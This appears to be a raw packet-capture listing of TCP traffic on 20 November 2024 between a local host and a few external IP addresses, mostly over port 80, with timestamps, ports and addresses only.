Nov 20, 2024 21:05:45.060070992 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.061456919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.061469078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.061592102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.063065052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.063174963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.063201904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.063241959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.064670086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.064775944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.064779997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.064827919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.066340923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.066425085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.066468000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.066468000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.067912102 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.067981005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.068042040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.068104982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.069570065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.069619894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.069628954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.069780111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.071152925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.071222067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.071245909 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.071336031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.072813034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.072906017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.072916031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.073102951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.074403048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.074513912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.074520111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.074574947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.076066971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.076128006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.076129913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.076241970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.077666998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.077734947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.077792883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.077903986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.079336882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.079379082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.079437017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.079519987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.080916882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.080986977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.081015110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.081096888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.082529068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.082628012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.082634926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.082699060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.084163904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.084223032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.084275007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.084336996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.085903883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.085958958 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.086045980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.087472916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.087482929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.087522030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.087546110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.089139938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.089183092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.089303970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.089374065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.090815067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.090826988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.090877056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.092298985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.092338085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.092350006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.092607975 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.092745066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.092833042 CET	49824	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:45.092842102 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.093158960 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.093480110 CET	49824	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:45.093549013 CET	443	49824	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.094101906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.094146013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.094182014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.094342947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.095546961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.095613956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.095628023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.095808029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.097213984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.097302914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.097326040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.097377062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.098814011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.098936081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.098974943 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.099020958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.100404024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.100512028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.100514889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.100625038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.102134943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.102145910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.102195024 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.103666067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.103771925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.103796005 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.103848934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.105290890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.105356932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.105367899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.105573893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.106854916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.106905937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.106991053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.107031107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.108549118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.108623981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.108701944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.108778954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.110210896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.110296965 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.110301018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.110440016 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.112081051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.112092972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.112401962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.113459110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.113537073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.113641024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.113909960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.115036964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.115102053 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.115189075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.115261078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.116662979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.116674900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.116929054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.118285894 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.118366957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.118391037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.118479967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.119954109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.120029926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.120047092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.120815039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.135369062 CET	49824	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:45.175919056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.175949097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.176134109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.176687002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.176765919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.176786900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.177148104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.178292036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.178389072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.178539038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.179923058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.179986954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.179987907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.180031061 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.181525946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.181627035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.181627035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.183038950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.183214903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.183331966 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.183336020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.183563948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.184798956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.184849977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.184915066 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.185110092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.186428070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.186439991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.186475039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.188043118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.188218117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.188268900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.188268900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.188467026 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.188806057 CET	49823	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:45.188873053 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.189291000 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.189690113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.189733982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.189759970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.189920902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.189992905 CET	49823	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:45.190072060 CET	443	49823	162.159.61.3	192.168.2.7
Nov 20, 2024 21:05:45.191345930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.191380978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.191396952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.191591024 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.192948103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.193046093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.193173885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.193173885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.194570065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.194699049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.194729090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.194897890 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.196142912 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.196249008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.196291924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.196291924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.197799921 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.197853088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.197901011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.197984934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.199410915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.199423075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.199484110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.199484110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.201035976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.201114893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.201208115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.201208115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.202644110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.202742100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.202749014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.202837944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.204262018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.204360962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.204361916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.204413891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.205943108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.206048965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.206149101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.207519054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.207591057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.207607031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.207660913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.209117889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.209304094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.209342003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.209366083 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.210829973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.210875988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.211064100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.211198092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.212404966 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.212485075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.212486029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.212862015 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.214126110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.214138031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.214173079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.214193106 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.215701103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.215862989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.215867043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.216018915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.217325926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.217397928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.217494011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.217623949 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.218897104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.219002008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.219055891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.219073057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.220529079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.220652103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.220655918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.220902920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.222261906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.222304106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.222600937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.223805904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.223902941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.223916054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.223985910 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.225414038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.225476027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.225542068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.225640059 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.227019072 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.227066994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.227111101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.227111101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.228641033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.228702068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.228705883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.228776932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.230505943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.230519056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.230566025 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.231875896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.231923103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.232052088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.233571053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.233690977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.233701944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.233797073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.235120058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.235213041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.235244036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.235332966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.236785889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.236890078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.236936092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.236936092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.239038944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.239132881 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.239164114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.239309072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.239995003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.240063906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.240196943 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.241647005 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.241703033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.241728067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.241821051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.242171049 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:45.242209911 CET	443	49834	152.195.19.97	192.168.2.7
Nov 20, 2024 21:05:45.242384911 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:45.242584944 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:45.242589951 CET	443	49834	152.195.19.97	192.168.2.7
Nov 20, 2024 21:05:45.243310928 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.243376970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.243424892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.243551970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.244424105 CET	49823	443	192.168.2.7	162.159.61.3
Nov 20, 2024 21:05:45.244900942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.245059967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.245109081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.245109081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.246511936 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.246578932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.246581078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.246638060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.248092890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.248195887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.248215914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.248259068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:45.249078035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:45.249089956 CET	80	49780	185.215.113.206	192.168.2.7
